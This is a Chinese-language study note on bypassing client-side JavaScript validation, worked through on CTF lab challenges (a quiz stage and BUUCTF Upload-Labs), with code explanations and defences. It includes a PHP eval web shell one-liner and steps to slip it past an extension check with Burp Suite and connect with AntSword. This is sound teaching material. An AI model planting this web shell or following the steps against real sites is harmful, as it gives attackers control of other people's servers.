js绕过
JS绕过是指利用各种技术手段绕过网站或应用程序中使用的JavaScript代码的安全性措施
原理
利用JavaScript在客户端执行以及前端验证等机制的特性,从而绕过网站或应用程序的安全防护,执行未经授权的操作或窃取敏感信息。
-
JavaScript是一种在客户端执行的脚本语言,其代码在用户的浏览器中运行
-
输入验证不完善:网站和应用程序通常使用JavaScript进行前端输入验证,以确保用户提供的数据是有效和安全的。如果输入验证不完善或者完全依赖客户端验证,攻击者可以通过提交恶意数据来绕过这些验证。
-
前端认证绕过:如果网站或应用程序依赖于前端认证机制来限制用户权限,攻击者可以模拟或篡改这些认证信息,从而获得未授权的访问权限(禁用js)
漏洞操作
1.禁用js
F12禁用js
实战:摸鱼大闯关 - Stage 15 - 怎么做都错~(#`Д´)ノ
function check(){ var passwd = document.getElementById("passwd").value; if (passwd === "") { alert("错误: 密码不能为空!"); } else { alert("错误: 密码就是空的!"); } return false; }
其他方法:
修改前端代码:
F12 -元素-选中填写的表单-以HTML格式修改
添加<button type="submit">提交</button>
点击提交
原理(?):js代码只检测了原本提交的密码,没有检测添加按钮提交的密码
2.利用bp抓包绕过
实战:BUUCTF Upload-Labs-Linux
function checkFile() { var file = document.getElementsByName('upload_file')[0].value; if (file == null || file == "") { alert("请选择要上传的文件!"); return false; } //定义允许上传的文件类型 var allow_ext = ".jpg|.png|.gif"; //提取上传文件的类型 var ext_name = file.substring(file.lastIndexOf(".")); //判断上传文件类型是否允许上传 if (allow_ext.indexOf(ext_name + "|") == -1) { var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name; alert(errMsg); return false; } }
1.编辑txt文本一句话木马
<?php @eval($_POST['attack']);?>
2.将文件后缀改为.jpg(js允许的格式)
3.上传文件,然后使用bp抓取上传的数据包
4.修改文件后缀为.php, 放包
5.复制图片地址 ,使用蚁剑连接
关键函数:
-
document.getElementsByName('upload_file')[0].value;
-
这是通过JavaScript的DOM(文档对象模型)获取名为 "upload_file" 的文件上传表单元素的值,即用户选择的上传文件的路径。
-
document.getElementsByName('upload_file')
是一个获取具有指定名称的所有元素的方法,它返回一个节点列表(NodeList)对象。在这里,我们假设只有一个元素符合名称 "upload_file",所以使用索引[0]
来获取第一个匹配的元素。 -
.value
是获取元素的值的属性。在这个代码段中,获取到的值是用户选择的文件的路径
-
allow_ext.indexOf(ext_name + "|") == -1
-
allow_ext.indexOf(ext_name + "|")
是一个字符串的查找方法。它用于检查ext_name
是否包含在allow_ext
这个字符串中。 -
indexOf() 方法可返回数组中某个指定的元素位置。也可返回某个指定的字符串值在字符串中首次出现的位置。若没有检索到则返回-1;
-
ext_name
是用户选择上传文件的后缀名,allow_ext
是允许上传的文件类型组成的字符串,例如 ".jpg|.png|.gif"。ext_name + "|"
这一部分是为了保证ext_name
在allow_ext
中的查找不会出错,避免部分后缀名的误匹配,例如 ".png" 可能会匹配到 ".png2" 这样的后缀名。 如果ext_name
不在allow_ext
中(即返回值为 -1),则说明用户选择的文件类型不允许上传。
漏洞利用
-
数据泄露:绕过输入验证或其他安全措施,访问和窃取网站或应用程序中的敏感数据,例如用户个人信息、信用卡信息、登录凭据等。
-
身份伪装:通过前端认证绕过或篡改认证信息,获取其他用户的登录权限,从而冒充合法用户进行未经授权的操作。
-
会话劫持:利用JS绕过漏洞来劫持用户的会话,绕过正常登录流程,从而获取未经授权的访问权限。
-
恶意操作:可以通过绕过安全措施执行恶意代码,对网站或应用程序进行破坏、篡改或删除关键数据,导致服务中断或故障。
-
网站挂马:利用JS绕过漏洞在网站或应用程序中插入恶意脚本,将其作为恶意代码传播的途径,让其他用户也受到攻击。
-
拒绝服务攻击(DDos):利用JS绕过漏洞执行恶意代码,导致服务器过载,从而使网站或应用程序无法正常响应用户请求,造成拒绝服务。
漏洞防御
-
避免直接在前端进行验证,因为攻击者可以轻易绕过这种验证。
-
对于重要的操作和敏感数据,始终在后端服务器进行验证。不要依赖前端的验证